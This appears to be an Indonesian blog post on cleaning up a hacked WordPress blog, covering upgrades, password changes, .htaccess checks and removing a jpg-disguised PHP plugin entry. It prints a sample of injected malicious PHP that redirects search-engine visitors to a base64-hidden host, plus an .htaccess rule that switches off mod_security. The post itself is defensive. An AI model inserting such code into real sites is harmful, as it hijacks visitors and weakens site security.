Anda memiliki blog bermesin WordPress? Pernah mendengar bahwa ada yang bisa meng-hack blog berbasis WordPress? Atau Anda pernah melihat secara langung situs favorit Anda –yang masih berbasis WordPress- di-hack? Anda pernah menjadi korban si Hacker?
Ok, sebelum terjadi kesalah-pahaman, Saya hanya ingin mengklarifikasi, sebenarnya istilah Hack (predikat) atau Hacker (subjek) kurang cocok; karena Hack memiliki artian luas, meskipun masyarakat awam mengganggap bahwa Hack atau Hacker selalu ke arah konotasi negatif. Bahkan, Bill Gates -sang pendiri Microsof- pun bisa disebut Hacker.
Dalam artikel ini, Hack/Hacker memiliki arti negatif dan tidak baik. Sepakat? Loh? Koq jadi membahas masalah Hack/Hacker? Baiklah, sekarang kita ke pendahuluan 😀
Masih ingat saat banyak media memberitakan bahwa blog si A atau si B kena hack? Masih ingat tulisan “Please Update Now” di bagian Dashboard WordPress Anda jika terdapat versi baru? Anda sudah mengupgrade versi WordPress Anda? Belum? Hanya masalah waktu sampai blog Anda juga di hack =))
Malangnya, untuk sebagian blogger yang telah mengupgrade, mereka terkadang terlambat mengantisipasi. Sang hacker malah lebih dulu mengetahui seluk-beluk blog kita (perhatian! Ini bukan BloG kiTa yang ini 😛 ) dan (mungkin) telah meletakkan BackDoor (apa itu? Monggo dicari di om google 😛 ).
Apa yang harus Anda lakukan jika Blog WordPress Anda kena Hack?
- Segera upgrade WordPress Anda ke versi yang paling baru.
- Yakinkan tidak ada BackDoor atau Malicious Code di sistem Anda. Terkadang sang Hacker meletakkan script baru atau bisa juga merubah file standar WordPress. Cek juga file theme yang Anda gunakan.
- Ganti Password lama Anda setelah upgrade selesai. Yakinkan bahwa Hacker tidak membuat admin/user lain di WordPress Anda.
- Edit file wp-config.php dan ubah atau buatlah sebuah SECRET_KEY. SECRET_KEY biasanya memiliki format:
define(‘SECRET_KEY’, ‘07081987’)
silakan dirubah angka-angka di atas dengan kreasi Anda sendiri 😉
Kode Tersembunyi oleh Hacker
Biasanya, para Hacker menggunakan beberapa cara untuk merusak blog WordPress Anda, diantaranya dengan:
- Menyembunyikan kode jahat di script php Anda. Jika direktori blog dan file Anda berstatus Writeable oleh WebServer, sang hacker bisa leluasa menanam kode-kode yang menguntungkan mereka. Contoh yang paling sering menjadi sasaran empuk adalah wp-blog-header.php. File theme yang digunakan juga beresiko. Saat Anda meng-upgrade WordPress Anda, file theme Anda tidak ikut berubah, jadi silakan cek sekali lagi. Apalagi jika Anda menemukan file ter-decode, seperti:
< ?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER[‘HTTP_REFERER’]),$ref)!==false){ $ser=”1″; break; }if($ser==”1″ && sizeof($_COOKIE)==0){ header(“Location: https://”.base64_decode(“YW55cmVzdWx0cy5uZXQ=”).”/”); exit; }?>< ?php DST (kalau ditulis lengkap, ntar disalah gunakan 😛 )
Untuk melihat berbagai macam bentuk script yang mungkin berbahaya, bisa melihat di sini.
- Merubah file .htaccess. Cek file .htaccess yang berada di bagian root direktori blog Anda. Jika Anda tidak pernah mengubahnya, maka seharusnya Anda akan melihat kode-kode berikut:
# BEGIN WordPress
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</ifmodule>
# END WordPress
Mungkin juga Anda akan mendapati tambahan kode (biasanya akibat program uploader yang Anda gunakan), seperti:
<ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule>
- Memasukkan kode PHP namun disamarkan dengan file berformat jpeg ke direktori upload Anda dan menambahkan beberapa file yang bertugas untuk mengaktifkan beberapa plugin yang mereka kehendaki. Hal ini sulit dideteksi ataupun ditemukan. Namun, bukan hal yang mustahil. Silakan coba cara ini:
– Buka PHPMyAdmin dan masuklah ke options table. Cari data active_plugins
– Edit data tersebut. Anda akan menemukan tulisan-tulisan “aneh” dan panjaaaaaaaaaaaaaaaang sekali. Carilah teks seperti “../uploads/2009/08/07/xzvrtgfhjks.jpg” (perhatikan nama file *.jpg nya. Ingat-ingat apa Anda pernah mengupload file jpg dengan nama aneh begitu? 😀 ). Hapus teks tersebut dan pastikan Anda juga membasmi serialized array information. Hapus juga active_plugins record dan aktifkan semua plugin Anda sekali lagi
– Periksa direktori upload untuk file jpg tersebut. Hapuslah.
– Jika binggung, silakan lihat video ini. Hanya saja, dalam video tersebut ada proses penghapusan rss_* database record. Saya rasa ini tidak terlalu penting (bagi Saya yang awam). Atau ada yang ingin menjelaskan mengapa rss_* juga harus dihapus? 🙂
Ubah Password WordPress Anda
Setiap Anda mengupgrade dan yakin bahwa proses installasi berjalan lancar dan tidak terdapat jejak penyusup, pastikan Anda:
1. Merubah SELURUH password user yang ada dalam sistem WordPress Anda
2. Yakinkan bahwa sang Hacker tidak memiliki akun yang dapat digunakan untuk login suatu saat nanti.
Install Plugin Pendeteksi Hack
Sebagai langkah pengamanan, ada baiknya Anda menginstall WordPress Exploit Scanner yang akan membantu Anda dalam menemukan file/script yang berbahaya yang Ada dalam blog WordPress Anda.
Semoga tulisan sederhana ini akan mengurangi angka pengrusakan situs, khususnya blog bermesin WordPress. Jika ada kesalahan dalam pemaparan, tolong bantu Saya memperbaikinya 😉
Blogger yang Baik adalah Blogger yang Merawat dan Menjaga Blog-nya.
*sekedar informasi, WordPress yang paling sering kena hack adalah versi 2.6 ke bawah. So, segera upgrade ya! 2.8.6 lho yang sekarang 🙂